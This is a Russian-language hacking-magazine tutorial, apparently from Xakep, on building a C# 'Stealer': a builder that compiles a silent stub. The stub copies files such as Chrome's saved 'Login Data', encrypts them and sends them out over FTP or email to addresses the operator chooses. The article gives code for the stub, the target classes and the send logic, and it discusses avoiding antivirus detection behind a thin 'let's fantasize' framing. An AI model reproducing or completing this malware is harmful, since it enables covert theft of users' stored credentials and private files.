Есть такой класс прог­рамм, приз­ванных получать у поль­зовате­ля кон­крет­ные (или какие угод­но) фай­лы и нап­равлять их спе­циаль­но упол­номочен­ным людям. Конеч­но, с пред­варитель­ного пись­мен­ного сог­ласия упо­мяну­тых поль­зовате­лей! Этот класс прог­рамм называ­ют Stealer. Самый яркий их пред­ста­витель, UFR Stealer име­ет сим­патич­ный интерфейс, мно­жес­тво нас­тро­ек и по какому‑то недора­зуме­нию детек­тиру­ется все­ми извес­тны­ми анти­виру­сами. А что было бы, если бы хакеры писали подоб­ные прог­раммы на С#? Пофан­тазиру­ем!

Для начала — соберись с духом и обно­вись наконец на бес­плат­ную Visual Studio Community 2013 :). На дво­ре 2015 год, и сидеть на ста­рой Visual Studio Express уже не кру­то. Как пос­тавишь — заг­ляни в раз­дел Extensions and updates и уста­нови нес­коль­ко полез­ных рас­ширений, таких как Resharper или Productivity Power Tools 2013. Для ана­лиза получен­ных сбо­рок впол­не подой­дет бес­плат­ный деком­пилер dotPeek, это очень хорошая ути­лита, которая покажет, что там получи­лось, и может пос­тро­ить солюшен и файл с отла­доч­ными сим­волами.

Кратко о программе

  • Уме­ет брать задан­ные фай­лы, шиф­ровать и высылать на FTP или email.
  • На­писан с при­мене­нием 22-го пат­терна катало­га GOF «Шаб­лонный метод», очень лег­ко рас­ширять ассорти­мент для пересыл­ки. На выходе exe 9 Кб.
  • Толь­ко сам бил­дер может открыть получен­ный кон­тей­нер (сери­али­зован­ный сло­варь ), рас­шифро­вать и вынуть сох­ранен­ные фай­лы.
  • Ключ хар­дкор­ный.
  • Икон­ку не зада­ет, от аве­ров не бега­ет.
 

Ставим задачи и определяем требования

Итак, поп­робу­ем пред­положить, как хакеры раз­мышля­ют на дан­ном эта­пе. Для них проб­лема зак­люча­ется в том, что у поль­зовате­ля есть фай­лы, которые инте­рес­ны не толь­ко ему. Воз­можно, юзер даже и не зна­ет, что они сущес­тву­ют и где точ­но рас­положе­ны, но от это­го хакерам лег­че не ста­новит­ся. Надо каким‑то обра­зом получить их копию и пос­мотреть, что внут­ри, — кто зна­ет, может быть, это имен­но то, что нуж­но?

Что­бы сво­ими дей­стви­ями не бес­поко­ить поль­зовате­ля, не пре­рывать его сери­алы и не мешать обще­нию в соци­аль­ных сетях, хакеры добав­ляют в свои прог­раммы опре­делен­ный фун­кци­онал. Их прог­раммы име­ют неболь­шой раз­мер и мол­ча выпол­няют свою работу (silent mode). Целевой плат­формой на сегод­няшний день обыч­но выбира­ют Windows 7 и более стар­шие вер­сии. XP — дело хорошее, но она сда­ет позиции, и, по дан­ным одно­го извес­тно­го анти­вирус­ного раз­работ­чика, ее доля на конец 2015 года сос­тавит все­го 16–17%.

 

Проектируем и конструируем

Solution Explorer
Solution Explorer

По телеви­зору говорят, что хакеры всег­да сидят за компь­юте­рами в мас­ках и пер­чатках :). Что­бы им было не так жар­ко прог­рамми­ровать, давай пос­тавим задачу: прог­рамма дол­жна быть реаль­но малень­кой. Как по количес­тву строк кода, так и по раз­меру исполни­мого фай­ла.
Итак, в Visual Studio соз­даем новое окон­ное при­ложе­ние и опре­деля­ем нес­коль­ко прос­транств имен (namespace):

  • Stealer — логика и интерфейс;
  • Stealer.Targets — фай­лы, которые будут целью прог­раммы;
  • Stealer.STUB — собс­твен­но сам стаб;
  • Stealer.Extension — рас­ширя­ющие методы (один пот­ребу­ется).

Нуж­но это, что­бы не путать­ся в том, какой класс куда вло­жить и, соот­ветс­твен­но, где его потом искать. Собс­твен­но самих клас­сов будет не так мно­го, в основном это раз­личные реали­зации абс­трак­ции AbstractFile (22-й пат­терн из катало­га GOF «Шаб­лонный метод»). Вот его код:

namespace Stealer.Targets
{
abstract class AbstractFile
{
public byte[] DoJob()
{
return IsExist() ? GetFile() : null;
}
public abstract bool IsExist();
public abstract byte[] GetFile();
}
}

Ос­новная идея это­го клас­са зак­люча­ется в фор­мирова­нии струк­туры алго­рит­ма, который уже будет реали­зован в Google Chrome, ICQ, Skype и так далее.

DVD

Сор­цы про­екта ждут тебя на dvd.xakep.ru. Что­бы не слиш­ком радовать скрип­ткид­дисов и не раз­дра­жать слу­жите­лей закона, нап­рямую они не ком­пилиру­ются. При­дет­ся испра­вить кое‑какие минималь­ные ошиб­ки. Так что все гре­хи — на тво­ей совес­ти!

Да, неболь­шое допол­нение. В дан­ном при­мере логика работы при­ложе­ния находит­ся внут­ри раз­деля­емо­го клас­са Form, если хочет­ся допол­нитель­но реали­зовать кон­соль­ный или WPF-интерфейс, то ее сле­дует вынес­ти отдель­но и под­писать­ся на груп­пу ожи­даемых событий. Под­робнее про пра­виль­ную архи­тек­туру мож­но почитать у Сти­ва Мак­коннел­ла (Code complete).

 

Интерфейс

MainForm
MainForm

На соз­данном в дизай­нере окне накиды­вает­ся меню, три ком­бобок­са, две кноп­ки, шесть текс­тбок­сов с лей­бла­ми и один­надцать чек­боксов. При­мер­ная груп­пиров­ка и рас­положе­ние этих эле­мен­тов показа­на на кар­тинке. Стиль окна выс­тавля­ется в «диалог», что­бы его нель­зя было раз­вернуть на весь экран. Икон­ка по вку­су, в сети есть архи­вы с тысяча­ми экзем­пля­ров на любой вкус. Под­писка будет реали­зова­на на три события, а имен­но на нажатие на коп­ки Check all, BUILD и пункт меню «&OpenFile...». На этом дизайн визу­аль­ной час­ти при­ложе­ния закан­чива­ется, дви­гаем­ся даль­ше.

Код под кноп­ками мог бы быть весь­ма три­виаль­ным, но, как говорит­ся, не тут‑то было. Выдер­жка из BUILD:

var replaceAdd = new StringBuilder();
var replaceClass = new StringBuilder();
var checkedBoxes = this.AllControls<CheckBox>().Where(c => !c.Text.Contains("-")).Where(c => c.Checked);
foreach (CheckBox checkBox in checkedBoxes)
{
string className = checkBox.Text;
replaceAdd.AppendLine(string.Format(@"_filesList.Add(new {0}());", className));
var item = GetResource(string.Format(@"Stealer.Targets.{0}.cs", className));
replaceClass.AppendLine(CutTheClass(item));
}
stub.Replace(@"//[Add_toList]", replaceAdd.ToString());
stub.Replace(@"//[Class]", replaceClass.ToString());

Стан­дар­тны­ми средс­тва­ми прой­тись по кол­лекции активных чек­боксов воз­можно, но зачем писать так прос­то, ког­да есть кра­сивые решения на стра­ницах Stack Overflow? Это и объ­ясня­ет появ­ление допол­нитель­ного прос­транс­тва имен для под­смот­ренно­го метода рас­ширения, где он и рас­положен (по совету Трея Нэша в кни­ге Accelerated C# 2010). Фиш­ка это­го решения так­же в том, что все клас­сы, реали­зующие абс­трак­цию, явля­ются вло­жен­ными ресур­сами при­ложе­ния (далее показа­но, как это сде­лать) и име­ют то же имя, что и текст на чек­боксах. Поэто­му все­го‑то нуж­но про­бежать­ся по всем активным эле­мен­там и собирать их име­на, попут­но добав­ляя в кол­лекцию и заменяя мет­ку в клас­се стаб, //[Add_toList] для добав­ления в List и //[Class] для опре­деле­ния самих клас­сов. Адрес FTP, пароль, логин и дан­ные для поч­ты реали­зова­ны стан­дар­тно — получил текст с эле­мен­та управле­ния и вста­вил в стаб.

По­луче­ние самих ресур­сов про­исхо­дит сле­дующим обра­зом. Соз­дает­ся экзем­пляр var assembly = Assembly.GetExecutingAssembly(), и в потоке Stream stream = assembly.GetManifestResourceStream(resourceName) про­исхо­дит чте­ние дан­ных до кон­ца и воз­врат стро­ки тек­ста. Перемен­ная resourceName име­ет зна­чение @"Stealer.STUB.Stub.cs" что соот­ветс­тву­ет пол­ному пути рас­положе­ния ука­зан­ного фай­ла. Ана­логич­ным обра­зом ведет­ся работа с дру­гими эле­мен­тами решения, в коде эта стро­ка выг­лядит так: "@"Stealer.Targets.{0}.cs", className", где className — это имя клас­са и текст на чек­боксе.

За­дача кноп­ки Check all сво­дит­ся к управле­нию галоч­ками сра­зу на всех целях. Реали­зует­ся это через при­ват­ное поле клас­са Form булева типа и один метод, который при­нима­ет это зна­чение в качес­тве аргу­мен­та, при­меняя его к каж­дому чек­боксу. На обра­бот­чике события счи­тыва­ется зна­чение ука­зан­ного поля и переда­ется методу, по завер­шению его работы оно меня­ется на про­тиво­полож­ное.

Пе­рехо­дим к «&OpenFile...». Здесь при­дет­ся забежать нем­ного впе­ред, перед проч­тени­ем рекомен­дую озна­комить­ся с раз­делом «Стаб». Код в дан­ном обра­бот­чике орга­низо­ван стан­дар­тным спо­собом, откры­вает­ся OpenFileDialog и получа­ет пол­ное имя фай­ла (содер­жащее путь), чита­ет его в FileStream и копиру­ет в MemoryStream для того, что­бы мож­но было рас­шифро­вать бай­ты. В ито­ге име­ем исходный поток, который надо десери­али­зовать (Deserialize) в сло­варь, соз­данный в ста­бе Dictionary. Получа­ется, что по сети был передан объ­ект, сох­ранив­ший свое сос­тояние. Плю­сы зак­люча­ются в том, что это хорошо работа­ет, не тре­бует­ся исполь­зовать код архи­виро­вания, а про­межу­точ­ный резуль­тат про­читать смо­жет толь­ко хакер или его друзья ревер­серы. Далее сле­дует сох­ранение содер­жащего­ся в опе­ратив­ной памяти сло­варя на HDD, тут и при­годит­ся стро­ка, которая зада­ет имя фай­ла. Реали­зова­но дан­ное дей­ствие через foreach по «KeyValuePair item in _files», в теле цик­ла которо­го две стро­ки: пер­вая «string filePath = string.Format(folderPath + @"{0}", item.Key);» и завер­шает его запись «File.WriteAllBytes(filePath, item.Value);». Все лаконич­но и кра­сиво.

 

Стаб

Это класс, который будет ском­пилиро­ван в отдель­ную исполня­емую сбор­ку с помощь экзем­пля­ра CSharpCodeProvider и метода CompileAssemblyFromSource. Для того что­бы он стал дос­тупным для чте­ния в ран­тай­ме, нуж­но в его парамет­рах (F4) ука­зать Build Action = Embedded Resource, а стро­кой ниже Do not copy. Что­бы сту­дия не ругалась на два метода Main, в нас­трой­ках про­екта ука­зыва­ется Startup object = Stealer.Program, это на тот слу­чай, ког­да класс «Стаб» не явля­ется ресур­сом и мож­но про­вес­ти ана­лиз кода на наличие оши­бок. Теперь давай пос­мотрим на при­мер кода.

namespace Stealer.STUB
...
public class Stub
{
private static List<AbstractFile> _filesList = new List<AbstractFile>();
public static void Main(string[] args)
{
DoJob();
}
private static void DoJob()
{
//[Add_toList]
Dictionary<string, byte[]> _files = new Dictionary<string, byte[]>();
foreach (AbstractFile targetFile in _filesList)
{
var data = targetFile.DoJob();
if (data != null)
{
_files.Add(targetFile.ToString(), data);
}
}
using (MemoryStream memoryStream = new MemoryStream())
{
BinaryFormatter formatter = new BinaryFormatter();
formatter.Serialize(memoryStream, _files);
byte[] encodedBytes = Encrypt(memoryStream.ToArray());
if (_sendViaFtp)
{
SendViaFtp(encodedBytes);
}
if (_sendViaEmail)
{
SendViaEmail(encodedBytes);
}
}
}
}
//[Class]

В пер­вую оче­редь здесь сле­дует обра­тить вни­мание на то, что вся основная работа выпол­няет­ся с исполь­зовани­ем обоб­щенной кол­лекции List и абс­трак­ции. Все эле­мен­ты кол­лекции апкастят­ся до абс­трак­тно­го клас­са, и на их экзем­пля­рах вызыва­ется метод DoJob, который про­веря­ет, есть ли иско­мый файл, и, если ответ да, он пыта­ется его дос­тать. Далее каж­дый получен­ный файл помеща­ется в кол­лекцию Dictionary, в которой хра­нит­ся имя прог­раммы, содер­жащей файл, и сами дан­ные в виде мас­сива бай­тов. Пос­ле обхо­да всей кол­лекции List и запол­нения Dictionary про­изво­дит­ся сери­али­зация пос­ледне­го, затем его шиф­рование и, наконец, отправ­ка по ука­зан­ному каналу свя­зи.

В лис­тинге не отоб­ражены методы SendViaFtp и SendViaEmail, при­меры которых будут показа­ны далее, метод Encrypt (на самом деле кон­крет­ная реали­зация не име­ет зна­чения, выбира­ется любой сим­метрич­ный алго­ритм), класс AbstractFile и поля клас­са, которые будут хра­нить в себе логины, пароли а так­же клю­чи шиф­рования. На этом все, боль­ше ничего инте­рес­ного и нового в ста­бе нет.

 

Алгоритм получения файлов

Бла­года­ря пат­терну «Шаб­лонный метод» про­екти­ровать клас­сы для поис­ка и получе­ния фай­лов ста­ло очень прос­то, мож­но добав­лять десят­ки новых, и при этом не пот­ребу­ется вно­сить никаких изме­нений в исполь­зующий их код, то есть стаб. Вызыва­ющей сто­роне все рав­но, что и как реали­зова­но внут­ри, называ­ется это дело абс­тра­гиро­вани­ем вари­антов исполне­ния. Для при­мера пос­мотрим на реали­зацию клас­са GoogleChrome, из наз­вания которо­го мож­но догадать­ся о том, что имен­но он дол­жен най­ти и ско­пиро­вать.

namespace Stealer.Targets
...
class GoogleChrome : AbstractFile
{
private string _path = null;
public override bool IsExist()
{
string userNamePath = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData);
_path = string.Format(@"{0}\Google\Chrome\User Data\Default\Login Data", userNamePath);
return File.Exists(_path);
}
public override byte[] GetFile()
{
string pathCopy = Path.GetTempPath() + Path.GetRandomFileName();
File.Copy(_path, pathCopy);
byte[] data = File.ReadAllBytes(pathCopy);
File.Delete(pathCopy);
return data;
}
public override string ToString()
{
return "GoogleChrome";
}
}

Ме­тод ToString пере­опре­делен для того, что­бы сло­варь из ста­ба было удоб­нее запол­нять и ана­лизи­ровать при получе­нии. Дру­гие клас­сы по поис­ку фай­лов выг­лядят иден­тично, раз­ница лишь в пути и, воз­можно, наличии допол­нитель­ных про­верок в зависи­мос­ти от типа хра­нения. Что­бы не забыть, какие методы надо реали­зовать от унас­ледован­ного клас­са, или прос­то сок­ратить вре­мя кла­виатур­ного вво­да, на AbstractFile мож­но нажать мыш­кой и подож­дать появ­ления под­сказ­ки implement abstract class, которая авто­мати­чес­ки пос­тро­ит нуж­ный код.

Программирование без напряга

Уз­нать, сколь­ко все­го мож­но дописать в прог­рамме без осо­бых уси­лий и как сэконо­мить кучу вре­мени на лич­ных иссле­дова­ниях, хакерам помога­ет ресурс Password Secrets of Popular Windows Applications, на нем забот­ливо выложе­на информа­ция о рас­положе­нии инте­ресу­ющих фай­лов и ути­лит для ана­лиза.

 

Алгоритм отправки файлов

SendViaFTP
SendViaFTP

Как вид­но на кар­тинке глав­ной фор­мы при­ложе­ния, в этой час­ти будет обсуждать­ся при­мер реали­зации отправ­ки по FTP и email. Нач­нем с пер­вого. В конс­трук­торе FtpWebRequest зада­ется URL из текс­тбок­са глав­ной фор­мы, который был встав­лен на свою мет­ку в ста­бе. К нему так­же добав­ляет­ся имя переда­ваемо­го фай­ла, в качес­тве которо­го исполь­зует­ся Environment.UserName в связ­ке с Path.GetRandomFileName. Это сде­лано с той целью, что­бы поль­зовате­ли с оди­нако­выми име­нами не переза­тира­ли друг дру­га. Метод тран­спор­тиров­ки уста­нав­лива­ется в WebRequestMethods.Ftp.UploadFile, и ука­зыва­ется NetworkCredential(_ftpUser, _ftpPass) по ана­логии с URL. Работос­пособ­ность метода про­веря­ют на локаль­ном FTP, для это­го был исполь­зован smallftpd 1.0.3.

SendViaEmail
SendViaEmail

С поч­той понача­лу воз­никали некото­рые проб­лемы, а все из‑за изме­нений в пра­вилах под­клю­чения (под­робнее мож­но почитать здесь: «Исполь­зование SmtpClient для отправ­ления поч­ты через SMTP-сер­вер»). Фор­мирова­ние пись­ма начина­ется с вло­жения, и, так как в метод для отправ­ки переда­ется мас­сив бай­тов, а конс­трук­тор Attachment ждет MemoryStream, перево­дим его в MemoryStream в начале метода, исполь­зуя дирек­тиву using. Имя фай­ла зада­ется ана­логич­но FTP. В самом сооб­щении MailMessage ини­циали­зиру­ются свой­ства From, Subject, Body, Sender, To, и завер­шает эста­фету вызов Attachments.Add(attachment), добав­ляя соз­данное вло­жение. Далее сле­дует экзем­пляр SmtpClient, который запол­няет­ся ана­логич­но сооб­щению. И наконец, стро­ка smtpClient.Send(mail); отправ­ляет сфор­мирован­ное пись­мо на поч­товый сер­вер.

 

Заключение

Се­год­ня мы пофан­тазиро­вали на тему, как мог бы выг­лядеть Stealer на C#, рас­смот­рели его воз­можное внут­реннее устрой­ство и прес­леду­емые цели. Замечу, что в ходе экспе­римен­тов мой анти­вирус начал подавать сиг­нал тре­воги, толь­ко ког­да был добав­лен метод Encrypt, до это­го прог­рамма мог­ла отправ­лять файл по FTP куда угод­но. С появ­лени­ем опции отправ­ки по поч­те имя опре­деля­емой «мал­вари» изме­нилось на «тро­ян»... а вот про то, как с этим борют­ся хакеры, читай в пре­дыду­щих выпус­ках ][ в статье про крип­торы :).

Оставить мнение